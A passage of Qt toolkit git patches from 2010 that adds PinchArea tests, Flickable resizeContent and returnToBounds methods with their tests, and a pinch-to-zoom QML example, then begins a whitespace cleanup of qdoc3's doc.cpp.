b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml @@ -0,0 +1,46 @@ +import QtQuick 1.1 +Rectangle { + id: whiteRect + property variant center + property real scale + width: 240; height: 320 + color: "white" + Rectangle { + id: blackRect + objectName: "blackrect" + color: "black" + y: 50 + x: 50 + width: 100 + height: 100 + opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200 + Text { text: blackRect.opacity} + PinchArea { + id: pincharea + objectName: "pincharea" + anchors.fill: parent + pinch.target: blackRect + pinch.dragAxis: Drag.XandYAxis + pinch.minimumX: 0 + pinch.maximumX: whiteRect.width-blackRect.width + pinch.minimumY: 0 + pinch.maximumY: whiteRect.height-blackRect.height + pinch.minimumScale: 1.0 + pinch.maximumScale: 2.0 + pinch.minimumRotation: 0.0 + pinch.maximumRotation: 90.0 + onPinchStarted: { + whiteRect.center = pinch.center + whiteRect.scale = pinch.scale + } + onPinchChanged: { + whiteRect.center = pinch.center + whiteRect.scale = pinch.scale + } + onPinchFinished: { + whiteRect.center = pinch.center + whiteRect.scale = pinch.scale + } + } + } + } diff --git a/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro new file mode 100644 index 0000000..2c13644 --- /dev/null +++ b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro @@ -0,0 +1,16 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative gui +macx:CONFIG -= app_bundle + +SOURCES += tst_qdeclarativepincharea.cpp + +symbian: { + importFiles.sources = data + importFiles.path = . + DEPLOYMENT = importFiles +} else { + DEFINES += SRCDIR=\\\"$$PWD\\\" +} + +CONFIG += parallel_test + diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp new file mode 100644 index 0000000..d1015fc --- /dev/null +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp @@ -0,0 +1,315 @@ +/**************************************************************************** +** +** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include +#include + +#ifdef Q_OS_SYMBIAN +// In Symbian OS test data is located in applications private dir +#define SRCDIR "." +#endif + +class tst_QDeclarativePinchArea: public QObject +{ + Q_OBJECT +private slots: + void pinchProperties(); + void scale(); + void pan(); + +private: + QDeclarativeView *createView(); +}; + +void tst_QDeclarativePinchArea::pinchProperties() +{ + QDeclarativeView *canvas = createView(); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); + canvas->show(); + canvas->setFocus(); + QVERIFY(canvas->rootObject() != 0); + + QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); + QDeclarativePinch *pinch = pinchArea->pinch(); + QVERIFY(pinchArea != 0); + QVERIFY(pinch != 0); + + // target + QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); + QVERIFY(blackRect != 0); + QVERIFY(blackRect == pinch->target()); + QDeclarativeItem *rootItem = qobject_cast(canvas->rootObject()); + QVERIFY(rootItem != 0); + QSignalSpy targetSpy(pinch, SIGNAL(targetChanged())); + pinch->setTarget(rootItem); + QCOMPARE(targetSpy.count(),1); + pinch->setTarget(rootItem); + QCOMPARE(targetSpy.count(),1); + + // axis + QCOMPARE(pinch->axis(), QDeclarativePinch::XandYAxis); + QSignalSpy axisSpy(pinch, SIGNAL(dragAxisChanged())); + pinch->setAxis(QDeclarativePinch::XAxis); + QCOMPARE(pinch->axis(), QDeclarativePinch::XAxis); + QCOMPARE(axisSpy.count(),1); + pinch->setAxis(QDeclarativePinch::XAxis); + QCOMPARE(axisSpy.count(),1); + + // minimum and maximum drag properties + QSignalSpy xminSpy(pinch, SIGNAL(minimumXChanged())); + QSignalSpy xmaxSpy(pinch, SIGNAL(maximumXChanged())); + QSignalSpy yminSpy(pinch, SIGNAL(minimumYChanged())); + QSignalSpy ymaxSpy(pinch, SIGNAL(maximumYChanged())); + + QCOMPARE(pinch->xmin(), 0.0); + QCOMPARE(pinch->xmax(), rootItem->width()-blackRect->width()); + QCOMPARE(pinch->ymin(), 0.0); + QCOMPARE(pinch->ymax(), rootItem->height()-blackRect->height()); + + pinch->setXmin(10); + pinch->setXmax(10); + pinch->setYmin(10); + pinch->setYmax(10); + + QCOMPARE(pinch->xmin(), 10.0); + QCOMPARE(pinch->xmax(), 10.0); + QCOMPARE(pinch->ymin(), 10.0); + QCOMPARE(pinch->ymax(), 10.0); + + QCOMPARE(xminSpy.count(),1); + QCOMPARE(xmaxSpy.count(),1); + QCOMPARE(yminSpy.count(),1); + QCOMPARE(ymaxSpy.count(),1); + + pinch->setXmin(10); + pinch->setXmax(10); + pinch->setYmin(10); + pinch->setYmax(10); + + QCOMPARE(xminSpy.count(),1); + QCOMPARE(xmaxSpy.count(),1); + QCOMPARE(yminSpy.count(),1); + QCOMPARE(ymaxSpy.count(),1); + + // minimum and maximum scale properties + QSignalSpy scaleMinSpy(pinch, SIGNAL(minimumScaleChanged())); + QSignalSpy scaleMaxSpy(pinch, SIGNAL(maximumScaleChanged())); + + QCOMPARE(pinch->minimumScale(), 1.0); + QCOMPARE(pinch->maximumScale(), 2.0); + + pinch->setMinimumScale(0.5); + pinch->setMaximumScale(1.5); + + QCOMPARE(pinch->minimumScale(), 0.5); + QCOMPARE(pinch->maximumScale(), 1.5); + + QCOMPARE(scaleMinSpy.count(),1); + QCOMPARE(scaleMaxSpy.count(),1); + + pinch->setMinimumScale(0.5); + pinch->setMaximumScale(1.5); + + QCOMPARE(scaleMinSpy.count(),1); + QCOMPARE(scaleMaxSpy.count(),1); + + // minimum and maximum rotation properties + QSignalSpy rotMinSpy(pinch, SIGNAL(minimumRotationChanged())); + QSignalSpy rotMaxSpy(pinch, SIGNAL(maximumRotationChanged())); + + QCOMPARE(pinch->minimumRotation(), 0.0); + QCOMPARE(pinch->maximumRotation(), 90.0); + + pinch->setMinimumRotation(-90.0); + pinch->setMaximumRotation(45.0); + + QCOMPARE(pinch->minimumRotation(), -90.0); + QCOMPARE(pinch->maximumRotation(), 45.0); + + QCOMPARE(rotMinSpy.count(),1); + QCOMPARE(rotMaxSpy.count(),1); + + pinch->setMinimumRotation(-90.0); + pinch->setMaximumRotation(45.0); + + QCOMPARE(rotMinSpy.count(),1); + QCOMPARE(rotMaxSpy.count(),1); + + delete canvas; +} + +QTouchEvent::TouchPoint makeTouchPoint(int id, QPoint p, QGraphicsView *v, QGraphicsItem *i) +{ + QTouchEvent::TouchPoint touchPoint(id); + touchPoint.setPos(i->mapFromScene(p)); + touchPoint.setScreenPos(v->mapToGlobal(p)); + touchPoint.setScenePos(p); + return touchPoint; +} + +void tst_QDeclarativePinchArea::scale() +{ + QDeclarativeView *canvas = createView(); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); + canvas->show(); + canvas->setFocus(); + QTest::qWaitForWindowShown(canvas); + QVERIFY(canvas->rootObject() != 0); + qApp->processEvents(); + + QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); + QDeclarativePinch *pinch = pinchArea->pinch(); + QVERIFY(pinchArea != 0); + QVERIFY(pinch != 0); + + QDeclarativeItem *root = qobject_cast(canvas->rootObject()); + QVERIFY(root != 0); + + // target + QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); + QVERIFY(blackRect != 0); + + QWidget *vp = canvas->viewport(); + + QPoint p1(80, 80); + QPoint p2(100, 100); + + QTest::touchEvent(vp).press(0, p1); + QTest::touchEvent(vp).stationary(0).press(1, p2); + p1 -= QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("scale").toReal(), 1.0); + + p1 -= QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("scale").toReal(), 1.5); + QCOMPARE(root->property("center").toPointF(), QPointF(90, 90)); + QCOMPARE(blackRect->scale(), 1.5); + + // scale beyond bound + p1 -= QPoint(50,50); + p2 += QPoint(50,50); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(blackRect->scale(), 2.0); + + QTest::touchEvent(vp).release(0, p1).release(1, p2); + + delete canvas; +} + +void tst_QDeclarativePinchArea::pan() +{ + QDeclarativeView *canvas = createView(); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml")); + canvas->show(); + canvas->setFocus(); + QTest::qWaitForWindowShown(canvas); + QVERIFY(canvas->rootObject() != 0); + qApp->processEvents(); + + QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild("pincharea"); + QDeclarativePinch *pinch = pinchArea->pinch(); + QVERIFY(pinchArea != 0); + QVERIFY(pinch != 0); + + QDeclarativeItem *root = qobject_cast(canvas->rootObject()); + QVERIFY(root != 0); + + // target + QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); + QVERIFY(blackRect != 0); + + QWidget *vp = canvas->viewport(); + + QPoint p1(80, 80); + QPoint p2(100, 100); + + QTest::touchEvent(vp).press(0, p1); + QTest::touchEvent(vp).stationary(0).press(1, p2); + p1 += QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("scale").toReal(), 1.0); + + p1 += QPoint(10,10); + p2 += QPoint(10,10); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(root->property("center").toPointF(), QPointF(110, 110)); + + QCOMPARE(blackRect->x(), 60.0); + QCOMPARE(blackRect->y(), 60.0); + + // pan x beyond bound + p1 += QPoint(100,100); + p2 += QPoint(100,100); + QTest::touchEvent(vp).move(0, p1).move(1, p2); + + QCOMPARE(blackRect->x(), 140.0); + QCOMPARE(blackRect->y(), 160.0); + + QTest::touchEvent(vp).release(0, p1).release(1, p2); + + delete canvas; +} + +QDeclarativeView *tst_QDeclarativePinchArea::createView() +{ + QDeclarativeView *canvas = new QDeclarativeView(0); + canvas->viewport()->setAttribute(Qt::WA_AcceptTouchEvents); + canvas->setFixedSize(240,320); + + return canvas; +} + +QTEST_MAIN(tst_QDeclarativePinchArea) + +#include "tst_qdeclarativepincharea.moc" -- cgit v0.12 From 031ab2136c632d582a324941798be9e37825d287 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Nov 2010 11:01:46 +1000 Subject: Allow resizing Flickable content about a center point. Useful for zooming via pinch, for example. Task-number: QTBUG-15148 Reviewed-by: Aaron Kennedy --- .../graphicsitems/qdeclarativeflickable.cpp | 54 ++++++++++++++++++++++ .../graphicsitems/qdeclarativeflickable_p.h | 4 ++ .../qdeclarativeflickable/data/resize.qml | 27 +++++++++++ .../tst_qdeclarativeflickable.cpp | 54 ++++++++++++++++++++++ 4 files changed, 139 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativeflickable/data/resize.qml diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 377f3b5..b13d82b 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -1269,6 +1269,60 @@ void QDeclarativeFlickable::setContentHeight(qreal h) d->updateBeginningEnd(); } +/*! + \qmlmethod Flickable::resizeContent(real width, real height, QPointF center) + \preliminary + + Resizes the content to \a width x \a height about \a center. + + \bold {This method was added in QtQuick 1.1.} + + This does not scale the contents of the Flickable - it only resizes the \l contentWidth + and \l contentHeight. + + Resizing the content may result in the content being positioned outside + the bounds of the Flickable. Calling \l returnToBounds() will + move the content back within legal bounds. +*/ +void QDeclarativeFlickable::resizeContent(qreal w, qreal h, QPointF center) +{ + Q_D(QDeclarativeFlickable); + if (w != d->hData.viewSize) { + qreal oldSize = d->hData.viewSize; + setContentWidth(w); + if (center.x() != 0) { + qreal pos = center.x() * w / oldSize; + setContentX(contentX() + pos - center.x()); + } + } + if (h != d->vData.viewSize) { + qreal oldSize = d->vData.viewSize; + setContentHeight(h); + if (center.y() != 0) { + qreal pos = center.y() * h / oldSize; + setContentY(contentY() + pos - center.y()); + } + } +} + +/*! + \qmlmethod Flickable::returnToBounds() + \preliminary + + Ensures the content is within legal bounds. + + \bold {This method was added in QtQuick 1.1.} + + This may be called to ensure that the content is within legal bounds + after manually positioning the content. +*/ +void QDeclarativeFlickable::returnToBounds() +{ + Q_D(QDeclarativeFlickable); + d->fixupX(); + d->fixupY(); +} + qreal QDeclarativeFlickable::vWidth() const { Q_D(const QDeclarativeFlickable); diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h index 6e4d8ed..ece2db7 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h @@ -149,6 +149,10 @@ public: FlickableDirection flickableDirection() const; void setFlickableDirection(FlickableDirection); + //XXX Added in QtQuick 1.1 + Q_INVOKABLE void resizeContent(qreal w, qreal h, QPointF center); + Q_INVOKABLE void returnToBounds(); + Q_SIGNALS: void contentWidthChanged(); void contentHeightChanged(); diff --git a/tests/auto/declarative/qdeclarativeflickable/data/resize.qml b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml new file mode 100644 index 0000000..e2abb99 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml @@ -0,0 +1,27 @@ +import QtQuick 1.1 + +Rectangle { + function resizeContent() { + flick.resizeContent(600, 600, Qt.point(100, 100)) + } + function returnToBounds() { + flick.returnToBounds() + } + width: 400 + height: 360 + color: "gray" + + Flickable { + id: flick + objectName: "flick" + anchors.fill: parent + contentWidth: 300 + contentHeight: 300 + + Rectangle { + width: flick.contentWidth + height: flick.contentHeight + color: "red" + } + } +} diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp index 25edb36..c1564bc 100644 --- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp +++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp @@ -46,6 +46,7 @@ #include #include #include +#include "../../../shared/util.h" #ifdef Q_OS_SYMBIAN // In Symbian OS test data is located in applications private dir @@ -69,6 +70,8 @@ private slots: void pressDelay(); void flickableDirection(); void qgraphicswidget(); + void resizeContent(); + void returnToBounds(); private: QDeclarativeEngine engine; @@ -277,6 +280,57 @@ void tst_qdeclarativeflickable::qgraphicswidget() QVERIFY(widget); } +// QtQuick 1.1 +void tst_qdeclarativeflickable::resizeContent() +{ + QDeclarativeEngine engine; + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml")); + QDeclarativeItem *root = qobject_cast(c.create()); + QDeclarativeFlickable *obj = findItem(root, "flick"); + + QVERIFY(obj != 0); + QCOMPARE(obj->contentX(), 0.); + QCOMPARE(obj->contentY(), 0.); + QCOMPARE(obj->contentWidth(), 300.); + QCOMPARE(obj->contentHeight(), 300.); + + QMetaObject::invokeMethod(root, "resizeContent"); + + QCOMPARE(obj->contentX(), 100.); + QCOMPARE(obj->contentY(), 100.); + QCOMPARE(obj->contentWidth(), 600.); + QCOMPARE(obj->contentHeight(), 600.); + + delete root; +} + +// QtQuick 1.1 +void tst_qdeclarativeflickable::returnToBounds() +{ + QDeclarativeEngine engine; + QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml")); + QDeclarativeItem *root = qobject_cast(c.create()); + QDeclarativeFlickable *obj = findItem(root, "flick"); + + QVERIFY(obj != 0); + QCOMPARE(obj->contentX(), 0.); + QCOMPARE(obj->contentY(), 0.); + QCOMPARE(obj->contentWidth(), 300.); + QCOMPARE(obj->contentHeight(), 300.); + + obj->setContentX(100); + obj->setContentY(400); + QTRY_COMPARE(obj->contentX(), 100.); + QTRY_COMPARE(obj->contentY(), 400.); + + QMetaObject::invokeMethod(root, "returnToBounds"); + + QTRY_COMPARE(obj->contentX(), 0.); + QTRY_COMPARE(obj->contentY(), 0.); + + delete root; +} + template T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName) { -- cgit v0.12 From 6258fc281f5b66b2634b81a2633b117165cea7ef Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Nov 2010 11:03:31 +1000 Subject: Add an example of using PinchArea. Task-number: QTBUG-15491 --- .../touchinteraction/pincharea/flickresize.qml | 50 +++++++++++++++++++++ .../touchinteraction/pincharea/qt-logo.jpg | Bin 0 -> 40886 bytes 2 files changed, 50 insertions(+) create mode 100644 examples/declarative/touchinteraction/pincharea/flickresize.qml create mode 100644 examples/declarative/touchinteraction/pincharea/qt-logo.jpg diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml new file mode 100644 index 0000000..8034e29 --- /dev/null +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -0,0 +1,50 @@ +import QtQuick 1.1 + +Rectangle { + width: 640 + height: 360 + color: "gray" + + Flickable { + id: flick + anchors.fill: parent + contentWidth: 500 + contentHeight: 500 + + PinchArea { + width: Math.max(flick.contentWidth, flick.width) + height: Math.max(flick.contentHeight, flick.height) + onPinchChanged: { + // adjust content pos due to drag + flick.contentX += pinch.lastCenter.x - pinch.center.x + flick.contentY += pinch.lastCenter.y - pinch.center.y + + // resize content + var scale = 1.0 + pinch.scale - pinch.lastScale + flick.resizeContent(flick.contentWidth * scale, flick.contentHeight * scale, pinch.center) + } + + onPinchFinished: { + // Move its content within bounds. + flick.returnToBounds() + } + + Rectangle { + width: flick.contentWidth + height: flick.contentHeight + color: "white" + Image { + anchors.fill: parent + source: "qt-logo.jpg" + MouseArea { + anchors.fill: parent + onDoubleClicked: { + flick.contentWidth = 500 + flick.contentHeight = 500 + } + } + } + } + } + } +} diff --git a/examples/declarative/touchinteraction/pincharea/qt-logo.jpg b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg new file mode 100644 index 0000000..4014b46 Binary files /dev/null and b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg differ -- cgit v0.12 From 755f2907ee4bc2b632237409c1d1d77b343aaa2a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 19:57:56 +0100 Subject: Removed unnecessary include, fixed whitespace. --- tools/qdoc3/doc.cpp | 937 ++++++++++++++++++++++++++-------------------------- 1 file changed, 468 insertions(+), 469 deletions(-) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index be16c59..4152207 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -48,7 +48,6 @@ #include "text.h" #include "tokenizer.h" #include -#include #include #include #include @@ -225,13 +224,13 @@ class DocPrivateExtra QStringMap metaMap; DocPrivateExtra() - : granularity(Doc::Part) { } + : granularity(Doc::Part) { } }; struct Shared // ### get rid of { Shared() - : count(1) { } + : count(1) { } void ref() { ++count; } bool deref() { return (--count == 0); } @@ -301,7 +300,7 @@ void DocPrivate::addAlso(const Text& also) void DocPrivate::constructExtra() { if (extra == 0) - extra = new DocPrivateExtra; + extra = new DocPrivateExtra; } bool DocPrivate::isEnumDocSimplifiable() const @@ -350,7 +349,7 @@ class DocParser private: Location& location(); QString detailsUnknownCommand(const QSet& metaCommandSet, - const QString& str); + const QString& str); void checkExpiry(const QString& date); void insertBaseName(const QString &baseName); void insertTarget(const QString& target, bool keyword); @@ -367,8 +366,8 @@ class DocParser void appendToCode(const QString &code); void startNewPara(); void enterPara(Atom::Type leftType = Atom::ParaLeft, - Atom::Type rightType = Atom::ParaRight, - const QString& string = ""); + Atom::Type rightType = Atom::ParaRight, + const QString& string = ""); void leavePara(); void leaveValue(); void leaveValueList(); @@ -547,7 +546,7 @@ void DocParser::parse(const QString& source, leavePara(); append(Atom::Code, getCode(CMD_CODE, marker)); break; -#ifdef QDOC_QML +#ifdef QDOC_QML case CMD_QML: leavePara(); append(Atom::Qml, getCode(CMD_QML, marker)); @@ -555,7 +554,7 @@ void DocParser::parse(const QString& source, case CMD_QMLTEXT: append(Atom::QmlText); break; -#endif +#endif case CMD_CODELINE: { if (!quoting) { @@ -1465,35 +1464,35 @@ void DocParser::checkExpiry(const QString& date) QRegExp ymd("(\\d{4})(?:-(\\d{2})(?:-(\\d{2})))"); if (ymd.exactMatch(date)) { - int y = ymd.cap(1).toInt(); - int m = ymd.cap(2).toInt(); - int d = ymd.cap(3).toInt(); - - if (m == 0) - m = 1; - if (d == 0) - d = 1; - QDate expiryDate(y, m, d); - if (expiryDate.isValid()) { - int days = expiryDate.daysTo(QDate::currentDate()); - if (days == 0) { - location().warning(tr("Documentation expires today")); - } + int y = ymd.cap(1).toInt(); + int m = ymd.cap(2).toInt(); + int d = ymd.cap(3).toInt(); + + if (m == 0) + m = 1; + if (d == 0) + d = 1; + QDate expiryDate(y, m, d); + if (expiryDate.isValid()) { + int days = expiryDate.daysTo(QDate::currentDate()); + if (days == 0) { + location().warning(tr("Documentation expires today")); + } else if (days == 1) { - location().warning(tr("Documentation expired yesterday")); - } + location().warning(tr("Documentation expired yesterday")); + } else if (days >= 2) { - location().warning(tr("Documentation expired %1 days ago") - .arg(days)); - } - } + location().warning(tr("Documentation expired %1 days ago") + .arg(days)); + } + } else { - location().warning(tr("Date '%1' invalid").arg(date)); - } + location().warning(tr("Date '%1' invalid").arg(date)); + } } else { - location().warning(tr("Date '%1' not in YYYY-MM-DD format") - .arg(date)); + location().warning(tr("Date '%1' not in YYYY-MM-DD format") + .arg(date)); } } @@ -1501,34 +1500,34 @@ void DocParser::insertBaseName(const QString &baseName) { priv->constructExtra(); if (currentSectioningUnit == priv->extra->sectioningUnit) { - priv->extra->baseName = baseName; + priv->extra->baseName = baseName; } else { - Atom *atom = priv->text.firstAtom(); - Atom *sectionLeft = 0; + Atom *atom = priv->text.firstAtom(); + Atom *sectionLeft = 0; - int delta = currentSectioningUnit - priv->extra->sectioningUnit; + int delta = currentSectioningUnit - priv->extra->sectioningUnit; - while (atom != 0) { - if (atom->type() == Atom::SectionLeft && - atom->string().toInt() == delta) - sectionLeft = atom; - atom = atom->next(); - } - if (sectionLeft != 0) - (void) new Atom(sectionLeft, Atom::BaseName, baseName); + while (atom != 0) { + if (atom->type() == Atom::SectionLeft && + atom->string().toInt() == delta) + sectionLeft = atom; + atom = atom->next(); + } + if (sectionLeft != 0) + (void) new Atom(sectionLeft, Atom::BaseName, baseName); } } void DocParser::insertTarget(const QString &target, bool keyword) { if (targetMap.contains(target)) { - location().warning(tr("Duplicate target name '%1'").arg(target)); - targetMap[target].warning(tr("(The previous occurrence is here)")); + location().warning(tr("Duplicate target name '%1'").arg(target)); + targetMap[target].warning(tr("(The previous occurrence is here)")); } else { - targetMap.insert(target, location()); - append(Atom::Target, target); + targetMap.insert(target, location()); + append(Atom::Target, target); priv->constructExtra(); if (keyword) priv->extra->keywords.append(priv->text.lastAtom()); @@ -1540,8 +1539,8 @@ void DocParser::insertTarget(const QString &target, bool keyword) void DocParser::include(const QString& fileName) { if (location().depth() > 16) - location().fatal(tr("Too many nested '\\%1's") - .arg(cmdName(CMD_INCLUDE))); + location().fatal(tr("Too many nested '\\%1's") + .arg(cmdName(CMD_INCLUDE))); QString userFriendlyFilePath; // ### use current directory? @@ -1551,25 +1550,25 @@ void DocParser::include(const QString& fileName) fileName, userFriendlyFilePath); if (filePath.isEmpty()) { - location().warning(tr("Cannot find leaf file '%1'").arg(fileName)); + location().warning(tr("Cannot find leaf file '%1'").arg(fileName)); } else { - QFile inFile(filePath); - if (!inFile.open(QFile::ReadOnly)) { - location().warning(tr("Cannot open leaf file '%1'") - .arg(userFriendlyFilePath)); - } + QFile inFile(filePath); + if (!inFile.open(QFile::ReadOnly)) { + location().warning(tr("Cannot open leaf file '%1'") + .arg(userFriendlyFilePath)); + } else { - location().push(userFriendlyFilePath); + location().push(userFriendlyFilePath); - QTextStream inStream(&inFile); - QString includedStuff = inStream.readAll(); - inFile.close(); + QTextStream inStream(&inFile); + QString includedStuff = inStream.readAll(); + inFile.close(); - in.insert(pos, includedStuff); - len = in.length(); - openedInputs.push(pos + includedStuff.length()); - } + in.insert(pos, includedStuff); + len = in.length(); + openedInputs.push(pos + includedStuff.length()); + } } } @@ -1579,29 +1578,29 @@ void DocParser::startFormat(const QString& format, int cmd) QMap::ConstIterator f = pendingFormats.begin(); while (f != pendingFormats.end()) { - if (*f == format) { - location().warning(tr("Cannot nest '\\%1' commands") - .arg(cmdName(cmd))); - return; - } - ++f; + if (*f == format) { + location().warning(tr("Cannot nest '\\%1' commands") + .arg(cmdName(cmd))); + return; + } + ++f; } append(Atom::FormattingLeft, format); if (isLeftBraceAhead()) { - skipSpacesOrOneEndl(); - pendingFormats.insert(braceDepth, format); - ++braceDepth; - ++pos; + skipSpacesOrOneEndl(); + pendingFormats.insert(braceDepth, format); + ++braceDepth; + ++pos; } else { - append(Atom::String, getArgument()); - append(Atom::FormattingRight, format); - if (format == ATOM_FORMATTING_INDEX && indexStartedPara) { - skipAllSpaces(); - indexStartedPara = false; - } + append(Atom::String, getArgument()); + append(Atom::FormattingRight, format); + if (format == ATOM_FORMATTING_INDEX && indexStartedPara) { + skipAllSpaces(); + indexStartedPara = false; + } } } @@ -1612,37 +1611,37 @@ bool DocParser::openCommand(int cmd) if (cmd != CMD_LINK) { if (outer == CMD_LIST) { - ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST); + ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST); } else if (outer == CMD_ABSTRACT) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_QUOTATION || cmd == CMD_TABLE); } else if (outer == CMD_SIDEBAR) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_QUOTATION || cmd == CMD_SIDEBAR); } else if (outer == CMD_QUOTATION) { - ok = (cmd == CMD_LIST); + ok = (cmd == CMD_LIST); } else if (outer == CMD_TABLE) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_FOOTNOTE || cmd == CMD_QUOTATION); } else if (outer == CMD_FOOTNOTE || outer == CMD_LINK) { - ok = false; + ok = false; } } if (ok) { - openedCommands.push(cmd); + openedCommands.push(cmd); } else { - location().warning(tr("Cannot use '\\%1' within '\\%2'") - .arg(cmdName(cmd)).arg(cmdName(outer))); + location().warning(tr("Cannot use '\\%1' within '\\%2'") + .arg(cmdName(cmd)).arg(cmdName(outer))); } return ok; } @@ -1650,33 +1649,33 @@ bool DocParser::openCommand(int cmd) bool DocParser::closeCommand(int endCmd) { if (endCmdFor(openedCommands.top()) == endCmd && openedCommands.size() > 1) { - openedCommands.pop(); - return true; + openedCommands.pop(); + return true; } else { - bool contains = false; - QStack opened2 = openedCommands; - while (opened2.size() > 1) { - if (endCmdFor(opened2.top()) == endCmd) { - contains = true; - break; - } - opened2.pop(); - } - - if (contains) { - while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) { - location().warning(tr("Missing '\\%1' before '\\%2'") - .arg(endCmdName(openedCommands.top())) - .arg(cmdName(endCmd))); - openedCommands.pop(); - } - } + bool contains = false; + QStack opened2 = openedCommands; + while (opened2.size() > 1) { + if (endCmdFor(opened2.top()) == endCmd) { + contains = true; + break; + } + opened2.pop(); + } + + if (contains) { + while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) { + location().warning(tr("Missing '\\%1' before '\\%2'") + .arg(endCmdName(openedCommands.top())) + .arg(cmdName(endCmd))); + openedCommands.pop(); + } + } else { - location().warning(tr("Unexpected '\\%1'") - .arg(cmdName(endCmd))); - } - return false; + location().warning(tr("Unexpected '\\%1'") + .arg(cmdName(endCmd))); + } + return false; } } @@ -1685,32 +1684,32 @@ void DocParser::startSection(Doc::SectioningUnit unit, int cmd) leavePara(); if (currentSectioningUnit == Doc::Book) { - currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); - priv->constructExtra(); - priv->extra->sectioningUnit = currentSectioningUnit; + currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); + priv->constructExtra(); + priv->extra->sectioningUnit = currentSectioningUnit; } if (unit <= priv->extra->sectioningUnit) { - location().warning(tr("Unexpected '\\%1' in this documentation") - .arg(cmdName(cmd))); + location().warning(tr("Unexpected '\\%1' in this documentation") + .arg(cmdName(cmd))); } else if (unit - currentSectioningUnit > 1) { - location().warning(tr("Unexpected '\\%1' at this point") - .arg(cmdName(cmd))); + location().warning(tr("Unexpected 